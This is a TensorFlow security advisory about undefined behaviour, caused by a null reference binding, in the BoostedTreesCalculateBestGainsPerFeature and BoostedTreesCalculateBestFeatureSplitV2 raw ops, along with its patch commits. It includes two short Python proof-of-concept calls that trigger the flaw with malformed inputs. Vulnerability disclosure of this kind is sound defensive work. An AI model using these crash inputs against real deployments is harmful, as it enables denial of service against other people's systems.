GHSA-f5cx-5wr3-5qrc

### Impact An attacker can generate undefined behavior via a reference binding to nullptr in `BoostedTreesCalculateBestGainsPerFeature`: ```python import tensorflow as tf tf.raw_ops.BoostedTreesCalculateBestGainsPerFeature( node_id_range=[], stats_summary_list=[[1,2,3]], l1=[1.0], l2=[1.0], tree_complexity =[1.0], min_node_weight =[1.17], max_splits=5) ``` A similar attack can occur in `BoostedTreesCalculateBestFeatureSplitV2`: ```python import tensorflow as tf tf.raw_ops.BoostedTreesCalculateBestFeatureSplitV2( node_id_range=[], stats_summaries_list=[[1,2,3]], split_types=[''], candidate_feature_ids=[1,2,3,4], l1=[1], l2=[1], tree_complexity=[1.0], min_node_weight=[1.17], logits_dimension=5) ``` The [implementation](https://github.com/tensorflow/tensorflow/blob/84d053187cb80d975ef2b9684d4b61981bca0c41/tensorflow/core/kernels/boosted_trees/stats_ops.cc) does not validate the input values. ### Patches We have patched the issue in GitHub commit [9c87c32c710d0b5b53dc6fd3bfde4046e1f7a5ad](https://github.com/tensorflow/tensorflow/commit/9c87c32c710d0b5b53dc6fd3bfde4046e1f7a5ad) and in commit. [429f009d2b2c09028647dd4bb7b3f6f414bbaad7](https://github.com/tensorflow/tensorflow/commit/429f009d2b2c09028647dd4bb7b3f6f414bbaad7). The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by members of the Aivul Team from Qihoo 360.